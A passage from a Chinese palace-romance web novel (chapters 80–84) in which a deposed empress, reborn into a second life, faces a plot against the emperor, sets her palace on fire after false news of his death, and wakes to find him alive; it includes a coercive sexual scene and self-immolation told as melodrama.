郁稚想想,“是啊,我被瞿氏蒙蔽了双眸,把她当做母亲看待,你想想若有人杀你母亲,你不恨么?我觉得这件事上,你不能全怪我。” 皇帝:“所以朕这一世没有提剑杀了瞿氏,而是让你认清她的真面目。” 皇帝:“你为何假孕骗朕?” 郁稚坦白:“我可没有骗你,那日我吃撑了,你非要请御医来,我一瞧是戚离,便也不敢声张。我对戚离是没有男女之情的,但他对我忠心,我不忍他死。直至几日之后我才知道身孕是假的,他以为你欺负我,想救我出去。我骑虎难下,只能设计跑了。” 萧歧原本一边煮茶一边搭话,听后侧眸看着她,眼底藏着怒意。 “真是个好皇后!”皇帝一字一句碾磨在齿间。 郁稚四叉八仰地躺着,“我也想通了,横竖也逃不出你的掌心,倒不如回宫里,关在未央宫也好,反正我也不想提心吊胆藏东藏西了。” 郁稚:“你看,咱俩不争吵的时候,还是很好的,外人瞧不出来,只当我们是浓情蜜意的情侣!” 郁稚:“若是上一世没有发生那些事,我一定与你好好的,等你打仗打不动了,我们就来江南游玩,多好” 其实他对她很好,是她不知好歹。 “可惜这一世,朕与你好不了了!”皇帝道,“朕知道你说这些话是为讨好朕,朕也确实挺愉悦的,游湖也好买衣裳也罢,皇后好好享受这最后自由的时光。” 郁稚:“”他真是油盐不进! 皇帝说难听的话,回到客栈又是另外一副光景,将她抱起坐在临河的窗台上,一边解她的裙裳一边吻她,急不可耐。 郁稚躲闪着,背后就是紧闭的窗户,外头便是潺潺河水,男人含住她的唇瓣深吻,郁稚气喘吁吁地避开。 “不是说跟我好不了了么?”她语调轻佻,巧笑倩兮,手臂却轻轻绕到男人后颈,“收回这句话,我再让你亲。” 皇帝强势霸道,“朕说过的话从不收回,等回宫看朕怎么收拾你还有你父兄!” 他收拾鲁国公府的人,郁稚一点意见都没有的。 男人贪恋地啄吻,她无处可逃,纤柔的手掌一路从男人脖颈滑落至胸膛,他确实叫她神魂颠倒! 若鲁国公府倒了,她幽禁未央宫,那孩子是她唯一的指望,她已经不是十六七岁的少女,这副身躯里是二十六郁后的灵魂,也该为自己后半辈子做打算,幸而回皇城的路还很长,若能诞下萧歧唯一的子嗣,那她算是有道保命符了 “你轻点呀,这么重怎么怀孩子?” “你吃那么少,怎么怀孩子?!” 80-84 第81章 第 81 章 回宫 三个月后郁稚回到皇城, 一路从江南游山玩水,今年夏季并不十分炎热,路上十分惬意畅快。 朝臣们只当皇后在皇家寺庙暂住,倒也没引起动静。 然而皇帝抵达皇宫, 听到的头一件事便是戚离从天牢里逃了, 至今无影无踪。天牢机关重重守卫森严, 其中必定有人助他逃走, 牵连甚广,这可是天大的事! 郁稚乍闻这消息, 瞬间惊喜, 皇帝全看在眼里,“在朕的人找到他之前,你哪里都不许去,就待在未央宫里!” 这三月以来缓和的关系,瞬间又恢复原貌。 夜里萧歧去了悠然宫见李檀,开门见山询问那件事。 李檀泰然自若, “皇后娘娘真真撒谎成瘾,这个弑夫杀君的女人, 陛下为何还会相信她的只言片语?” 李檀:“至于臣妾戕害宫女之事, 更是子虚乌有。恰好纯儿今日当值, 就在小厨房里做事, 小喜你去将纯儿叫来。” 皇帝没想到那个婢女竟还活着,可见妖后当时为活命编造了这等不堪一击的谎言!! 纯儿战战兢兢地给皇帝行礼,萧歧命她抬起头来,确实与未央宫的芍药生得很相似。 萧歧:“未央宫的芍药,是你的姐姐?” 纯儿:“回禀陛下,芍药是奴婢的堂姐。” 李檀:“告诉陛下你进宫后都做了什么?” 纯儿:“奴婢初进宫时, 身子欠佳,多亏了贵妃仁慈,让奴婢在悠然宫养病,如今奴婢的病全好了,就一直留在悠然宫小厨房里办差。” 李檀观察皇帝的神情,“正好小厨房里做了糕点,就让纯儿送去未央宫,好叫皇后放心!” *** 郁稚的癸水已经迟了半个月,今日命李御医前来诊脉,这三个月来她与萧歧很亲近,若还是没有孕,那她可真是不走运。 李御医诊了许久的脉,叹息道,“皇后这数月受了暑气,故而胃口不好,气血凝滞,实在不是孕脉。” 郁稚瞬间失落,“那若本宫吃药调理、” 李御医打断道:“皇后娘娘从前食药过多,弄坏身子,往后吃再多补药恐怕也无济于事,实难有孕。” 实难有孕 李御医一走,悠然宫就来人了。 芍药见为首的婢女,“纯儿!!你、你、还活着?!!” 纯儿:“芍药姐姐” 郁稚也一眼认出纯儿,正是前世那个洒扫洗衣的小宫女,替她传信李檀的功臣!纯儿还活着?!她竟然还活着! 糟糕,她中了贵妃的计了!如此一来皇帝必定认为她在说谎,上一世那份功劳竟全归李檀所有!她唯一的一张保命符也没有了,御医还说她难有子嗣! 芍药:“你还活着?你一直在悠然宫?你怎么不来未央宫寻我?!!” 纯儿:“贵妃娘娘说宫女若生病是要被赶出皇宫的,她留我在宫里休养,叫我不能乱走,否则会牵连她的。我也是一个月前才刚痊愈,姐姐你不在宫里。” 芍药喜极而泣,“现在好了,我们姐妹团聚了,皇后会想法子将你调来未央宫、” 纯儿:“我不来未央宫,贵妃待我恩重如山,我就想在悠然宫待着” 郁稚跌坐在椅榻,她输了 但纯儿还活着,这是唯一一件幸事。 夜里皇帝来未央宫,神情明显难看,“皇后不同朕说说实话么?” 郁稚:“陛下是说纯儿之事?臣妾没有说谎,那个时候臣妾派人调查、” “朕不想听这件事。”皇帝看着少女纤柔的身躯,一路上那么鲜活精神的人,一进宫仿佛瞬间垮了,“朕从来没有相信过你说的任何一个字,也并不从你身上祈盼什么!李御医方才来禀告朕,说他今日来替你诊脉。” 郁稚隔着衣裳轻轻揪住了小腹,萧歧祈盼的是皇嗣,可是李御医已经盖棺定论,说她实难有孕。 一个背叛过他的女人,又无法给他想要的子嗣。 郁稚面对现实,“你要废后么?” “你该说谢朕宽容,念着夫妻情意,留你一命,往后就乖乖待在未央宫!”萧歧徒然站立,冷冷地瞧着椅榻上的她,如同神明抛弃愚笨的世人。 男人从广袖中取出废后的圣旨,“朕就不叫人念了,你如今识字,自己看吧。” 郁稚摊开圣旨,可笑,上头清清楚楚写着她被废是因为没有诞下皇嗣?! “若陛下要废臣妾,臣妾只接受一个理由,那就是因我弑君之罪而被废!我上一世纵然对你不起,可我替你除了那些庸臣,尽心管理朝政,我没有戕害后宫任何一个妃嫔,百姓安居,国库丰盈,比你常年在外征战好得多!萧歧,你若用这个理由废我,是对我的侮辱!!” “强弩之末。”皇帝嗤之以鼻,“皇后这一世没有弑君,朕自然不会用这个理由。” 郁稚的心气皆被打散了,“那你我这三个月算什么?这三个月在江南,你为何对我那么温柔?” “算是弥补上一世的遗憾。皇后很美,可惜上一世朕没有吃饱餮足。如今终于腻了。” 萧歧:“朕不杀你,是朕的仁慈,这一世你就留在未央宫,反省你上一世的过错!不过百年之后,朕会在皇陵墓室里为你留一个地方,你我同葬一个棺椁!” 若是如此,他何不再多一点仁慈,放任她留在江南呢? 三个月的温柔缱眷,如今一回宫就冷冰冰地丢给她一道废后的圣旨,还是在她知道自己无法有孕这个噩耗之后,原来萧歧也可以这般无情! 皇帝命人封了未央宫大门,只留一道窄窄的侧门供宫女进出,废后的消息在皇城蔓延开来。 臣子们早就提议废后,眼下无人反对,倒是国丈鲁国公的面色不佳。 皇嗣成宫中头等大事,大臣、宗亲们都很难不动心思,陆陆续续送了不少美人进宫,时已立秋,又有人提议开春之后选秀女之事。 皇帝并未表态,礼部便张罗开来。 郁稚颓丧数日,她耿耿于怀皇帝突然变脸,就因为她难有子嗣?可是从江南一路来皇城,两人真的很亲密欢愉。 萧歧会在人流如织的街市上主动牵她的手。 会由着她在山涧嬉闹玩水。 会频繁地穿着那件小猪衣扣的袍子。 会任由她将吃了半口的小食塞到他口中 许多这样微不足道的小事,都会让她觉得两人与寻常恩爱的情侣没有不同,如此落差叫她失魂落魄,甚至很没出息地在深夜埋在软枕里哭泣。 今夜芍药从侧门取晚膳回来,又瞧见郁稚坐在窗前伤感。 “娘娘可别伤心了,奴婢打听到陛下他如今夜夜笙歌!近日宫里新来许多歌姬美人,其中还有鲁国公送的十多人!” 芍药:“听闻开春之后还要选秀!” 芍药:“陛下今日都没能起来上朝,太监无法,只能硬闯寝宫,一撩开幕帘,只见龙榻上美人们玉体横陈” 郁稚难以置信,萧歧竟成了这般,哦,对她说腻了,其实是胃口大开了!!前世是在外行军打仗没有机会,如今、如今、 郁稚:“他就是个花心大萝卜!!” 郁稚后来自己也想通了,能待在未央宫清清静静也好,管他萧歧如何荒、淫!!正好未央宫里还有一些话本子,于是她也不哭了,整日躺在椅榻上,晒着秋日暖阳看话本子! 夜里,李檀是被太监总管请来皇帝寝宫的,刚踏入院门就听见一阵靡靡之音,扑面而来是一阵浓郁的脂粉气。 太监刘总管:“陛下命新来的美人们都住在偏殿,她们洗下的脂粉水都倒入池子里头,这都六七日了,香气越来越浓郁,实在不成个体统,偏偏陛下宠着,奴才们也不好多说什么!” 李檀用帕子捂住口鼻,皇帝不是这样的人! “必定是那些人给陛下灌了酒!” 刘总管:“奴才也是这么想的,陛下夜夜要看歌舞,饮酒作乐昨夜大醉,清晨都没能起来,烂醉时口中只说” “什么?!” “只说皇后欺君” 原来还是为妖后!李檀气得闯入皇帝寝宫,里头不成个样子,臣子们送入宫的舞姬歌姬们各个妖娆妩媚,衣衫不整,正赤着足在地毯上跳舞 酒气脂粉气混战在一道,呛人!! 皇帝又醉了,此刻正枕在一位美人的腿上闭眸休息。 “你们都下去!”李檀吩咐道。 美人们原先不听话,还是太监总管道这位是贵妃娘娘,她们这才不情不愿地穿好衣裳回了偏殿。 李檀大受震撼,皇帝竟然荒、淫、糜烂至此!! 地上满是酒坛子,李檀甚至有点后悔了,倒不如让妖后就这么待在皇帝身边。 不,妖后凭什么呢?! “陛下醉了,让臣妾伺候陛下去榻上休息。” “皇后来了” 皇帝真是醉得厉害,枕到她腿上,“皇后,替朕扇风好么?” 李檀拿起榻上的扇子,指尖轻轻穿梭过男人汗湿的发丝。 李檀:“陛下为何如此糟践自己?你不是荒、淫的君王” 萧歧:“皇后为何要骗朕?为何要骗朕” 李檀百感交集,“郁稚就是这样的人!陛下对她不要有任何期许,妖后罢了,杀就杀了!是你太过仁慈!明明我才是忠心的那个人,陛下就从来不曾多看我一眼” 她一口气将两世的怨念尽数说给皇帝听,她有多委屈,皇帝从来都不知道!! 妖后凭什么能得到皇帝那样多的宠爱!! 说着说着,她发现枕在腿上的男人已经入睡了 “像她那样的妖后,活该死在未央宫大火里!焚烧殆尽!” 翌日清晨,李檀伺候皇帝穿戴,萧歧宿醉,晨起不发一言。 李檀笑着替他扣衣扣:“新进宫的歌姬舞姬们皆很美,但陛下再喜欢也不能耽误了朝政、” 皇帝瞧着她,“朕记得你说上一世是被皇后赐死?” 李檀:“是” 萧歧目光凛冽,“那你是如何得知皇后被活活烧死在未央宫?!” 李檀瞬间就僵住了,昨夜皇帝听见了!! 李檀:“臣妾不知啊,皇后专权,怎么可能被烧死在未央宫,她是这么说的么” 萧歧扯嘴笑笑,“许是朕昨夜梦见的,贵妃不要放在心上。” 第82章 第 82 章 帝亡 幽禁未央宫的第三个月, 郁稚已经将话本子都看完了,实在是百无聊赖,一想到要被关在宫里一辈子,她人蔫蔫没有精神。 芍药:“皇后看看这是什么?” 芍药长个头了, 成了个亭亭玉立的少女, 将一本厚厚的话本子递到郁稚面前。 郁稚惊喜:“哪里来的?!!” 芍药:“用我们宫里玉器摆件与人换的。” 芍药八面玲珑, 已经与日常来送饭的宫女们混熟络了。 皇帝虽幽禁着她, 但每日的膳食还是按照皇后规格送来,郁稚感觉自己吃胖了些, 于是决定今日不用晚膳了, 将花厅那一桌丰盛晚膳都赏给芍药,自己又懒懒躺在椅榻上看话本子。 只是里头怎么夹杂着一纸书信? 郁稚飞速拆开看,竟是戚离的信?!他还在皇城,不,应该说他竟躲在皇宫!信上说让她后日亥时初刻去未央宫东北角等他。 天哪?!!戚离胆大包天,若是被皇帝知道、 正心神不宁呢, 连踏入未央宫的脚步声都没听见,还是萧歧点了宫灯, 寝宫里照亮些许郁稚才察觉到。 她已经困在未央宫三月, 这三月间听闻宫里不少事, 最多的还是皇帝夜夜与那些歌姬舞姬们寻欢作乐, 为此御史台递上的奏疏堆积成山。 “见了朕很惊讶?” 萧歧一身的酒气,郁稚此时正衣衫不整,立即披了衣裳上前行礼,“参见陛下,不知陛下来我这个废后的寝宫做什么?” 皇帝身上除了酒气,还能呛人的浓郁脂粉味!三月不见, 这张脸还是一如既往的英俊! 萧歧:“朕派人追杀你那个旧情人,可是没寻到任何蛛丝马迹,故而朕来问问,你可知道他的行踪?” 郁稚淡然回道,“臣妾随你回宫时,他已经逃了,臣妾有什么能耐知道他的下落。” “他那么忠心,怎会抛下你一个人走呢?特别是他现在应该知道朕废了你,还知道你被朕幽禁在未央宫!” 郁稚沉默不语。 萧歧:“若你告诉朕,朕会对你再宽容一些。” “臣妾不知。” 萧歧伸手捏住她的下颌,醉酒的人下手没有轻重,“若朕将你推到朱雀大街上斩首,你说他会不会出现呢?” 郁稚不敢相信自己所听到的,萧歧他、他竟然想这么对她。不过这也不奇怪,他始终都认定上一世是她害死了他。 少女眼神脆弱,泪光闪烁,却仍倔强地仰头看向他,“你确实该这么做了,重生回来第一日就该杀了我。” 若没有江南那三个月的温柔缱眷,她也不会像如今这么痛苦! 然而口口声声说要杀她的男人,却在下一瞬俯首咬住了她的唇瓣,将她推向椅榻。 “你?!你下流!”她的手掌毫不犹豫地扇在男人侧颜,她也说不清自己是何心情,憎恶、恨意、不舍,觉得他杀她不为过,但又不甘心! 郁稚:“听闻陛下这段时日艳福不浅,又何必来招惹我?!” 萧歧笑了,眼神痴醉,“他们送进宫的美人再美艳,也不急皇后万分之一!” “陛下不是说腻了么?!”郁稚一点儿也不想与他亲近。 “此事就如同戒酒,总要循序渐进,不能一蹴而就。”皇帝强势地褪去她的外裳,如品尝陈年烈酒,一口一口地吮吻。 郁稚憎恶透了,一掌一掌打在他脸上,正如上一世两人在席榻间那般,可皇帝早已经习惯了,越演愈烈,她越打他,他就越心潮澎湃! 三个月不曾见面,他就成了个疯子! 郁稚最后没了力气,只心里诅咒他!! “朕都已经想好,活捉戚离以后怎么折磨他了,就绑他在门前,叫他听着皇后在朕身下承、欢!!” “皇后怎么不出声了?嗯?那些时日在临河的客栈里头,不是叫得很好听么?” 萧歧这个疯子!郁稚终于肯定,他是彻底疯了! 他在傍晚来未央宫,直至深夜才离开,椅榻上污浊不堪,最后他酒醒了,也没有对她怀有一点儿歉意,自顾自地穿衣,背对着她,“朕酒醉了” 郁稚气结,只求他快离开未央宫。 皇帝:“可惜你无法有孕,否则” 她闭着眼睛不搭理他,皇帝却仍要凑近,在她耳边道,“否则就这样将你幽禁起来,替朕生六七个孩子,也不错。” 最后两人不欢而散,正如上一世他最后离开远赴边疆,她也是心怀怨恨,一句话都不对他说,只求他死在边疆!! 翌日传来消息,皇帝昨夜真是来与她告别,边疆蛮族来犯,本是小小纷争,但皇帝便命康老王爷监国,而他则率军去平乱。 萧歧向来嗜战,郁稚是知道他的,最好他三年五年都不会回来! 戚离躲藏在皇宫,看来是早得到消息,故而邀她明日夜里见面! 皇帝离宫,李檀彻底掌管后宫,每日的膳食不再丰盛,而是换成了清粥小菜,芍药抱怨说那些个送饭菜的宫女也换成了悠然宫的人,再不愿意帮她带东西,也不与她搭话。 郁稚也害怕,哪日李檀心情不好,往她膳食里掺点毒药,那她可真死得太冤枉了。 到了约定那夜,郁稚去未央宫一角等候,果真等到一身宫人服饰的戚离。 郁稚:“长话短说,此处有侍卫巡夜,若是叫他们听见、” 戚离:“皇后莫急,李勋曾是侍卫统领,如今宫中这一支禁军尽听我们吩咐!” 郁稚不解,“李勋救的你?你为何不远走高飞?” 戚离:“皇后听我说,皇帝远赴边疆,我们已经在路上埋伏杀手,至于这个监国的康老王爷,你父兄自然会对付。等皇帝一死,我们如上一世般扶持宗室子登基。不过这一回,我会事先做好安排,叫你的父兄不敢再越权!” 为什么会这样?! 郁稚快疯了,“你以为我还是前世那个手握权势的皇后?皇帝已经废了我!废后诏书就在寝宫、” 戚离:“皇帝没有正式昭告天下,朝臣们也不知道,只要皇后烧了那道诏书,我们便能成事,上一世不就是一步之遥么?!” “不,你快撤回那些杀手,我不要萧歧死!!”郁稚感觉天崩地裂,“我不想再害死他第二次!!” 戚离:“由不得皇后!他重生之后多少整治了多少人?皇室宗亲、文武大臣,有多少人盼着他死!你父兄已经布置许久,若是萧歧活着回来,你我、你父兄我们都难逃一死!若是事成,皇后变会成尊贵的太后,我会压制你父兄,皇后还会如从前那般自由、高贵、手握重权!” 从戚离口中得知,李勋参与谋划,所以皇城禁军尽听他们吩咐 这是谋反 原来以为这一世父兄会默默无闻,却不知他们早就在谋划了 若是她什么都不做,那等到的会是皇帝的死讯,若是皇帝这一世没有死,那她、戚离、鲁国公府、上一世辅佐她的臣子们,都会死得很难看。 两世重合了,只是这一世事情发生得早好多年! 郁稚甚至有预感,什么都不会改变,一切还如上一世一样。 她不想萧歧死,哪怕这一世她最后夺权成功了,这也不是她要的结局! 之后几日,郁稚想尽一切办法传递消息,她想救萧歧,想真真切切弥补上一世的过错! 然而未央宫里里外外围了上百名侍卫,她什么话都传不出去。 夫妻背道而驰,萧歧负伤战死沙场,而她困囿于未央宫,真是与上一世一般无二 对了,密道,她的寝宫里有密道,可以离开未央宫,她当初偷偷去藏书阁拿话本子就是用那个密道,萧歧命人封住了。 郁稚挪开衣柜,那堵墙砌得可真严实! 未央宫没有榔头锤子这样的器具,她与芍药只能徒手用院子里的石块砸墙! 不过半日,一双纤纤玉手就渗了血 如此十多日之后,厚实的墙终于出现一道长长的裂缝。 这日夜里,戚离再次来见她,告诉她皇帝行军途中受了重伤,正是他派出的刺客所为。 郁稚只能表面装作镇定,“事到如今,我都听你们的” 然而一回到寝宫,她发疯似地徒手去砸墙,一双手鲜血淋漓。 上一世的萧歧对她很好很好,是她因为瞿氏之事钻牛角尖错恨了他!! 她后悔了,她早就后悔了,在他死讯传来的那一日她心如刀绞,那时她才明白自己并非真恨他! 这一次她不想他死!她不想下次见到戚离就听见他带来萧歧的死讯!! “萧歧,我错了” “你还没原谅我,我不许你死” 芍药看着那一堵厚实的墙,没有器具,仅凭她们之力是砸不掉墙的,“娘娘别伤心,陛下只是受伤,随军的御医必定会好好照料陛下” 郁稚跌坐在地,满面泪水,凄惨无比。 “他回不来了” 郁稚很真切地感觉,她无力回天,一切还是会按照前世事情的轨迹走! 事情也正如她所料,一个月后,她再见到戚离,戚离带来了萧歧的死讯,他甚至还未到边疆,就因为重伤不治而亡了。 戚离:“将士们正抬着陛下的灵柩回皇城,皇后自今日起不必困于未央宫了,内务府已经在筹备葬礼,康老王与国丈大人也正从宗室子弟中选人,最后这件事会由皇后定夺。” 她的父亲鲁国公蛰伏这些年,只为今日,她太懂他了,狼子野心。 戚离:“还有,贵妃要硬闯未央宫,臣给拦下来了,她欺辱皇后已久,请皇后处置她。” 李檀萧歧死了,李檀必定也恨死她了。 李檀没错,她自始至终都没错,她骂她是妖后,郁稚觉得自己确实是妖后,两世都害了萧歧。 郁稚:“去传她进来,我要见她。” 第83章 第 83 章 自焚 李檀乍闻皇帝遇刺而亡噩耗, 难以置信,悲伤情绪汹涌奔腾,她以为皇帝这一世会警醒,她以为郁后这一世不会再做出弑君之事, 可她错了! “妖后!郁稚你这个妖后!!”李檀紧紧扣住郁稚的手臂恶毒诅咒, “弑夫杀君!你不得好死!!” 郁稚已经麻木, 萧歧真的遇刺身亡, 这一切都是受她父亲指使,与前世如出一辙。 “李檀, 你为何如此愤怒, 皇帝出征你为何不阻拦,任由他走前世的老路呢?”郁稚笑得凄厉,“你不就想着皇帝离宫,你好要我的命么?” 李檀怒意滔天,她确实有私心,以为皇帝不忍心杀妖后, 而她可以借此机会帮他了结妖后,可是没想到她晚了一步。 李檀摘下头上发簪, 死死抵住郁稚的喉咙, “我早就该这么做了, 妖后, 我早就该除了你,玉石俱焚!” 尖锐的簪子只要再进一寸,她喉咙的血脉就被割开了。 郁稚丝毫不畏惧,“动手啊,你与萧歧但凡有一个人下得了手,就该在重生归来那一刻杀了我!!” “你以为我不敢么?”李檀咬牙, 簪尖刺破雪白肌肤,但见妖后闭上眼眸,一丝一毫都不反抗。 “你为何不反抗?!” “皇后娘娘!”芍药在外头听见动静闯入殿中,正瞧见李檀要杀郁稚,猛地扑过来将李檀推到在地。 李檀手中的簪子也落了地,廊下侍卫冲进来将她押住,捆绑带走。 芍药:“娘娘流血了,我去传御医!” 郁稚跌坐在地,伸手探了探脖间,她仰头望了望富丽的寝宫,忽然想起来自己前世是如何而死。 史书上大约会写妖后自焚于未央宫。 那时她夜夜都噩梦,梦见萧歧魂魄归来,立在榻边那样幽怨地看着自己。他死之后,她才明白萧歧这个她恨之入骨的男人,才是最疼爱她之人,她怀念他炙热的身躯,怀念他粗犷的拥抱与亲吻,是他予她权势富贵,若他不爱她,又怎么可能成就她这个妖后呢,她与他才是一家人,她不该听信父兄之言,可惜她明白得太晚 在皇帝的灵柩抵达皇城之前,康王与鲁国公已经从宗亲子弟中选出来合适的人选。 鲁国公领着那个七岁的稚子来未央宫见她。 “参见皇后。”鲁国公如今意气风发,这个女儿再无用,到底占着皇后的宝座,如今皇帝已驾崩,皇权很快就落入他手中了。 “来,太子殿下,拜见你的母后。” 郁稚抬眸看向那个稚子,七岁的少年身形纤柔,眼神呆滞,唯唯诺诺不敢上前。 郁稚:“父亲,他哪有一点做皇帝的潜质?” 鲁国公:“他父母已故,与皇帝的血脉却很近,身份尊贵,最要紧的是他很听话,你身为母后也会很省心。而且他可是康王爷推荐的。” 鲁国公:“你姐姐与姐夫也正赶回皇城,往后我们一家人会极力辅佐新君,女儿你当上太后,一世荣华富贵享用不尽。” 鲁国公:“只可惜他非你亲生子,总归是差一些。今日我就将储君留在未央宫,你好好照料他,他会念你的好,也会将我当做外祖父!!” 鲁国公与她说了很多话,劝她不要闷闷不乐,要打起精神操办皇帝的丧仪,还要好好教养新君,往后还有许多事要处理 郁稚知道,康王爷与她父亲往后会反目成仇,而眼前这个稚子会夹在其中左右为难,而她则会被架空权力。 但如果她在新帝登基前而亡,那鲁国公便什么筹码都没有了,那她算不算将皇权还给萧家人呢? 萧歧 她怀念那段时日,他认认真真教她读书写字,替她穿衣梳发,哪怕重生回来以后那么恨她,他想的也是这一世要教好她,可他也说了她本性就是如此,所以什么都没有改变。 还有在江南的三个月是她这一世最欢愉的日子,她能感觉萧歧的爱意,也能感觉自己对他的心动,可惜 可惜他到死都不知道,她上一世没有杀他,这一世更没有,他不相信她,不相信她有多后悔,后悔上一世因为瞿氏而恨他,后悔耽误了两人本该温柔的夫妻时光!! 他们有无数次机会可以冰释前嫌,可惜啊,都错过了。 这样心如刀绞的痛为何要她经历第二次呢?! “萧歧” “萧歧” 心口钝痛,郁稚念着他的名字跌倒在椅榻,掌心握成拳头不住地捶打心口,心仿佛要裂开了,简直生不如死!! 后来的一段时日,郁稚如一具行尸走肉在未央宫游荡,时常不让芍药点宫灯。 听闻皇帝的灵柩回了皇宫,就停在大殿。 听闻妃嫔们皆围绕在灵柩旁痛哭流涕。 听闻百官皆已经知道这位七岁的宗室子要登基为帝。 听闻康王与鲁国公暂时一道监国。 芍药:“皇后娘娘,你可要梳妆,奴婢陪你去大殿?” 她是皇后,更是未来的太后,这种时候若不出现在皇帝灵柩前,百官会议论的。 郁稚:“你带着太子去大殿,今夜陪着他守灵,本宫就不过去了。” 芍药听从吩咐,将七岁的太子带离未央宫。 郁稚:“还有,将未央宫周围的侍卫也调去大殿守着。” 芍药:“是” 为何会重生呢?因为还有不甘。可是如今她只心如枯槁,没有任何不甘了,希望轮回的路上不要再遇到萧歧,她不配他的宠爱。 话本子上说君王极致的宠爱就是皇权,他给予她滔天的权势,怎么就不算爱她呢。 郁稚:“可惜,我明白得太晚了。” 她握起桌案上那站精致的油灯,走向幔帐,未央宫极度富丽奢靡,还是萧歧当初大婚前命人重新修葺,那个时候他对未来的皇后,一定也是期待的,怎么想得到她会是这样的女子。 她不识字、不知礼数、不辨是非 看着幔帐一点点燃烧起来,郁稚最终跌坐在椅榻,上一世的自己无法接受萧歧已死的消息,她选择自焚是因为痛苦不堪,这一世,除了痛苦以外,她希望以这种方式,捻灭父亲鲁国公的希望。 未央宫距离大殿极远,郁稚又调走了附近侍卫,一开始并没有人留意到此处的升腾起的火光。 半个时辰之后,火光在黑夜中难以叫人忽视,城外皇家驿站在塔楼望风的人先留意到了此处。 再然后是悠然宫。 小喜:“娘娘,果然是未央宫着火了!皇后不在大殿,恐怕还在未央宫,我们要不要、” 李檀上了阁楼观望,真是未央宫!!也不知是谁要烧死妖后,皇帝驾崩,妖后自然也难逃一死!给他陪葬去吧! 李檀:“告诉宫里侍卫,不必慌张,不是走水,是本宫命人将陛下的衣物器皿烧给他。” 小喜:“是” 皇帝已死,李檀再伤心也要为自己未来谋划,皇后死后,郁家就彻底失势,她这位贵妃自然成了全后宫最尊贵的女人,那个太子年纪太小不成事,或许她可以从中获利! 既然得不到君王的宠爱,那么她要一世的权势富贵!妖后再得圣宠又如何,还不是活活烧死! 火势冲天,大殿的人终于注意到了未央宫。 鲁国公气急败坏,“皇后可是在里面?皇后是不是在寝宫里?!” 眼下郁稚这个女儿是他所有的筹码,有她在,自己就能名正言顺地当新帝的外祖父!名正严顺地辅佐新君!! 若是郁稚死了,那他满盘计划都落了空。 鲁国公:“快!快救皇后!!” “皇后不能死!皇后不能死!!” “来人呐,救火啊!!快救火啊!!我的女儿还在里头!!” 李勋立即调了所有禁军来救火!还有戚离,他将水浇灌全身,要冲进去救人。然而火势实在太大,但凡多往前一步就要被大火吞噬! 郁稚早已经被烟迷得神志不清,周围一片火光,正如上一世她死前那般。 --郁稚,你真是顽劣难教! --堂堂皇后竟然喜欢上看话本子,这样像话么?! --又不会写了?坐过来,朕教你。 --过来,朕给你梳头发。 --郁稚,朕可是发过誓这一世要好好教导你的。 --去把藤条取来,朕罚你十下手心。 --你是准备一辈子躲在上面不下来么?敢下来朕就打死你! --朕怎么会娶了你这样顽劣难教的女子!! --朕教你的,竟全忘光了!! 若有来世,她还是想与他相逢,不做夫妻,就做夫子与学生也好,她一定会好好学字,或者做父女也好,当萧歧的孩子,她一定会受尽宠爱。 萧歧,我错了我错了我早就后悔了 火海之中,一切都被吞噬,唯有晕倒在椅榻上的少女,肤若凝脂,眼角血泪 第84章 第 84 章 心疼 郁稚于火光之间看到一个身影。她想起身朝他奔去, 告诉他自己错了,告诉他她早就后悔了,可是一阵天旋地转她没有力气站起身。 已死之人,看到了黄泉路上另一个人。 “萧歧, 我没有要杀你” “萧歧, 你别恨我好不好” “萧歧, 我真的后悔了” 那样不可一世金刀铠甲之人, 不该死于阴谋诡计,她的夫君, 她的陛下, 他怎么就留下她独自一人 “皇后无碍,不过是烟火杂七呛入肺中,暂时昏迷罢了。” “今日必定能醒来,臣可以保证,陛下无需过分担忧。” 郁稚在噩梦中挣扎着,她梦见自己被火焰吞噬, 梦见未央宫火光冲天,画面一转又到了荒芜的战场之上, 满地尸体狼藉, 那个身着铠甲的男人万箭穿心而亡 “啊--!!”她惊叫醒来, 满头恶汗, 下意识低头看下自己双臂,仍然雪白无暇,没有被烈火灼伤。 头顶是华丽的床帷幔帐,她身着干净的寝衣,此处是皇帝寝宫的龙榻,正当她困惑之际, 幔帐被从外撩开,映入眼帘的是皇帝那张清冽冷峻的脸,隐隐张扬着君王气势 萧歧活着?她不会又重生了吧?!!!只是这一回她重生在哪一年呢? “陛下?”她试探性地唤了声。 皇帝静静地凝视着她,郁稚脊背恶寒。 “郁稚。”良久,皇帝开口唤她。 郁稚?!郁稚?他怎么不唤她皇后呢?她思绪紊乱,想着应对之法。 郁稚强行稳定心神,“陛下,我怎么会在此处呢?” “你晕过去了。” 少女一双乌溜溜的眼眸转啊转的,她真的很想问皇帝,他是人是鬼,犹豫半响问了一句,“今夕是何年” “甲子年。” 甲子年正是选秀之年,那时她万分紧张,险些晕过去,所以她重生在选秀这一年,她方及笄,然后现场现场晕了过去? 皇帝继续打量着她。 郁稚从龙榻下来,“多谢陛下照拂,既然臣女醒了,那臣女告退。” 立在榻前得男人眉眼微蹙,静静地凝视着她,“你要回何处去?” “回家”此处幔帐围着,她瞧不见任何人,她需要看看外头的情形再作判定。 “回哪个家?” “鲁国公府。”郁稚认认真真回答,若今年是甲子年,天气如此炎热,那她应该还没有与皇帝成亲。 “郁稚”皇帝欲言又止。 “怎么了陛下?”少女一脸纯真无辜。 “郁稚,你我成亲了,你忘记了?” 少女呆若木鸡,神态模样与十五岁的她一般无二。看来她的推断是错的!! “我们成亲了?” 少女这痴痴傻傻的一句,叫男人愈加狐疑。 萧歧:“你今年几岁?” 郁稚:“十五!”她脱口而出,绝对不能暴露自己重生的蛛丝马迹!! “好,很好。”萧歧扭头对外头侍卫道,“来人,去杀了戚离。” “戚离?!!”郁稚惊呼道,此时的戚离还不知在何处苟且偷生,皇帝这么会认识他,“今年不是甲子年?!” “哼!不装了?”男人不禁扬了扬眉,又对外吩咐,“暂时不杀,押到天牢!” “只是呛了烟气晕倒,少在朕面前装疯卖傻!” 所以、所以她没有重生,她这是自焚未死,那眼前的人郁稚面色瞬间苍白毫无血丝,一下躲到角落,“你是人是鬼?!!” 思念他是一回事,但皇帝冤魂回来索命又是另外一回事!! 男人被气得呲牙,“你说朕是人是鬼?”他步步逼近,捏住了少女手腕,男人神情阴森,郁稚觉得他真的很像怨气冲天的鬼!! 他将她手心按在自己胸膛,肌理之下心脏稳健跳动,他是鲜活的是真人!! “你、你还活着?”郁稚难以置信,一双眼眸瞬间湿润,仰头望着男人。 “皇后肺中呛了烟,连脑袋也烧坏了?” “你告诉我说是甲子年,甲子年是选秀那年,你方才又唤我郁稚,我以为我烧死在未央宫后又重生了” 